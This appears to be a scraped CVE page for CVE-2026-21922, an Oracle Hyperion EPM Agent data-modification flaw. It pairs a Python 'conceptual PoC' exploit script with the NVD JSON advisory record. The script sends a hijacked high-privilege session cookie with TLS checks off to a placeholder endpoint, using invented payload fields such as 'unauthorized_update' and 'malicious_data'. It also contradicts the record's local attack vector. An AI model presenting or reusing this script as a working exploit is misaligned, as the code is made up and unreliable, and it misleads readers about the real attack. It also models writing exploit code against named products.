CVE-2026-21922

# CVE-2026-21922 PoC - Oracle EPM Agent Unauthorized Data Modification # Note: This is a conceptual PoC based on the vulnerability description # The actual exploitation requires high-privilege access and user interaction import requests import json TARGET_URL = "https://[TARGET_HOST]/epm agent endpoint" SESSION_COOKIE = "high-privilege-user-session-cookie" def exploit_cve_2026_21922(): """ Conceptual PoC for CVE-2026-21922 Requirements: 1. Valid high-privilege Oracle Hyperion credentials 2. User interaction to trigger the malicious request 3. Network access to EPM Agent service """ headers = { 'Cookie': SESSION_COOKIE, 'Content-Type': 'application/json', 'User-Agent': 'EPM Agent Client' } # Malicious payload that exploits the EPM Agent vulnerability # This attempts to modify planning/budgeting data without proper authorization payload = { 'action': 'data_modification', 'target': 'critical_budget_records', 'operation': 'unauthorized_update', 'data': { 'budget_id': 'TARGET_RECORD', 'modified_value': 'malicious_data', 'timestamp': '2026-01-20' } } try: response = requests.post(TARGET_URL, json=payload, headers=headers, verify=False) if response.status_code == 200: print('[+] CVE-2026-21922 Exploitation Successful') print(f'[+] Response: {response.text}') return True else: print('[-] Exploitation Failed') return False except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': print('CVE-2026-21922 PoC - Oracle Hyperion EPM Agent Vulnerability') print('Note: This PoC is for educational and authorized testing purposes only') exploit_cve_2026_21922()

{"cve": {"id": "CVE-2026-21922", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:54.500", "lastModified": "2026-01-29T21:31:39.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Planning and Budgeting Cloud Service product of Oracle Hyperion (component: EPM Agent). The supported version that is affected is 25.04.07. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Planning and Budgeting Cloud Service executes to compromise Oracle Planning and Budgeting Cloud Service. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Planning and Budgeting Cloud Service accessible data. Note: Update EPM Agent. Please refer to <a href=\"https://docs.oracle.com/en/cloud/saas/enterprise-performance-management-common/diepm/epm_agent_downloading_agent_110x80569d70.html\">Downloading the EPM Agent for more information. CVSS 3.1 Base Score 4.2 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Planning and Budgeting Cloud Service de Oracle Hyperion (componente: EPM Agent). La versión soportada que está afectada es 25.04.07. Vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios con inicio de sesión en la infraestructura donde se ejecuta Oracle Planning and Budgeting Cloud Service comprometer Oracle Planning and Budgeting Cloud Service. Ataques exitosos requieren interacción humana de una persona distinta al atacante. Ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de creación, eliminación o modificación a datos críticos o a todos los datos accesibles de Oracle Planning and Budgeting Cloud Service. Nota: Actualice EPM Agent. Por favor, consulte <a href=\"https://docs.oracle.com/en/cloud/saas/enterprise-performance-management-common/diepm/epm_agent_downloading_agent_110x80569d70.html\" rel=\"nofollow\">Downloading the EPM Agent</a> para más información. Puntuación Base CVSS 3.1 4.2 (Impactos en la integridad). Vector CVSS: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:planning_and_budgeting_cloud_service:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.04", "versionEndIncluding": "25.09", "matchCriteriaId": "747391DF-F44D-4410-BA45-5FA7A0EE73BE"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}